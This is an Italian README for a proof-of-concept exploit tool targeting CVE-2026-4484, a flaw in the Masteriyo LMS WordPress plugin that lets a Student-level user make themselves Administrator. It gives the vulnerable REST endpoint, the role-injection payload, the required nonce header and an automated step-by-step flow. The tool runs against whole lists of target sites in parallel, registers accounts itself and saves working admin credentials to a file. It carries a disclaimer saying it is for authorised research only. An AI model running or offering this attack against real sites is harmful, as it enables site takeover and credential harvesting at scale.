CVE-2026-4484

Masteriyo LMS <= 2.1.6 - Autorizzazione mancante per l'escalation dei privilegi da autenticato (Studente+) ad Amministratore

🔴 Panoramica della vulnerabilità

CVE-2026-4484 — Escalation dei privilegi autenticata (Studente → Amministratore)

Descrizione:
Il plugin Masteriyo LMS per WordPress è vulnerabile all'Escalation dei privilegi in tutte le versioni fino alla 2.1.6 inclusa. La vulnerabilità ha origine nella funzione InstructorsController::prepare_object_for_database, che non riesce a limitare correttamente l'assegnazione dei ruoli durante le richieste API REST. Un utente autenticato con un accesso di livello Studente può creare una richiesta POST appositamente formata all'endpoint REST API di Masteriyo — iniettando "roles": ["administrator"] nel payload della richiesta — per elevare silenziosamente il proprio account a Amministratore WordPress, ottenendo il pieno controllo del sito senza alcuna interazione amministrativa.

🛠️ Descrizione dello strumento

Questo è uno script di sfruttamento Proof-of-Concept (PoC) che mira a installazioni WordPress che eseguono una versione vulnerabile del plugin Masteriyo LMS. Lo strumento supporta due modalità di attacco:

Flusso di attacco

[Register / Login as Student]
         ↓
[Fetch Dashboard Context — user_id + nonce]
         ↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
         ↓
[Re-login with fresh session]
         ↓
[Verify /wp-admin access → confirmed Administrator]
         ↓
[Write to Login_admin.txt]

📋 Requisiti

Requisiti di sistema

• Python 3.8 o superiore
• Linux / Windows / macOS

Dipendenze Python

pip install requests urllib3 colorama

Oppure tramite il file dei requisiti:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 Installazione

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-4484.py

⚙️ Utilizzo

Esecuzione di base

python3 CVE-2026-4484.py

Lo strumento utilizza un'interfaccia terminale interattiva — tutti i parametri vengono richiesti in fase di esecuzione.

🗂️ Formato della lista dei target

Crea un file di testo semplice (es. list.txt) con un target per riga:

https://target1.com
https://target2.com
http://target3.com/wordpress

🟥 Modalità 1 — Nx_1 (Registrazione + Login + Escalation)

Usa questa modalità quando non hai un account esistente sul target. Lo strumento registra automaticamente un nuovo account studente, quindi lo eleva.

Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!

Passaggi eseguiti automaticamente:

1. GET /account/signup/ → estrae il nonce di registrazione
2. POST /st/ → registra un nuovo account come Studente
3. GET /account/ → estrae il nonce di login
4. POST /wp-admin/admin-ajax.php → login tramite AJAX di Masteriyo
5. GET /account/#/dashboard → estrae current_user_id + nonce
6. POST /wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}
7. Ri-login con una nuova sessione → verifica l'accesso al pannello admin
8. Scrive i target confermati in Login_admin.txt

🟩 Modalità 2 — Nx_2 (Login + Escalation — Account esistente)

Usa questa modalità quando hai già un account Studente o Istruttore valido sul target.

Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword

Passaggi eseguiti automaticamente:

1. GET /account/ → estrae il nonce di login
2. POST /wp-admin/admin-ajax.php → login tramite AJAX di Masteriyo
3. GET /account/#/dashboard → estrae current_user_id + nonce
4. POST /wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}
5. Ri-login con una nuova sessione → verifica l'accesso al pannello admin
6. Scrive i target confermati in Login_admin.txt

📁 File di output

Formato dell'output

https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!

Esempio di output del terminale

[OK]    https://target.com :: LOGIN OK :: success
[OK]    https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK]    https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK]    https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).

🔍 Dettagli tecnici

Endpoint vulnerabile

POST /wp-json/masteriyo/v1/users/instructors/{user_id}

Payload dell'exploit

{
  "roles": ["administrator"]
}

Intestazioni richieste

Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>

Causa principale

La funzione InstructorsController::prepare_object_for_database in Masteriyo LMS elabora il parametro roles dal corpo della richiesta REST senza verificare se l'utente richiedente possiede la capacità edit_users o promote_users. Qualsiasi utente autenticato (di livello Studente o superiore) che possa raggiungere questo endpoint può inviare un valore di ruolo arbitrario — incluso administrator — che viene poi salvato direttamente nella tabella dei metadati utente di WordPress.

📡 Contatti e autore

Autore: Nxploited (Khaled Alenazi)

 

⚠️ Disclaimer legale

QUESTO STRUMENTO È FORNITO SOLO PER SCOPI EDUCATIVI E DI RICERCA SULLA SICUREZZA AUTORIZZATA.

L'autore, Nxploited (Khaled Alenazi), e tutti i collaboratori di questo progetto non approvano, non supportano e non si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'uso di questo software contro sistemi per i quali non si dispone di un'autorizzazione scritta esplicita.

• ✅ Permesso: Utilizzo su sistemi di tua proprietà o per i quali hai ricevuto un'esplicita autorizzazione scritta per il test.
• ❌ Vietato: Utilizzo contro qualsiasi sistema senza una preventiva autorizzazione scritta esplicita del proprietario del sistema.

L'accesso non autorizzato ai sistemi informatici è illegale e punibile ai sensi delle leggi applicabili, incluse, a titolo esemplificativo ma non esaustivo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente in tutto il mondo.

Utilizzando questo strumento, accetti la piena responsabilità delle tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.

L'autore non si assume alcuna responsabilità per eventuali danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'uso improprio di questo software.

_{© 2026 Nxploited (Khaled Alenazi) — Solo per ricerca di sicurezza autorizzata.}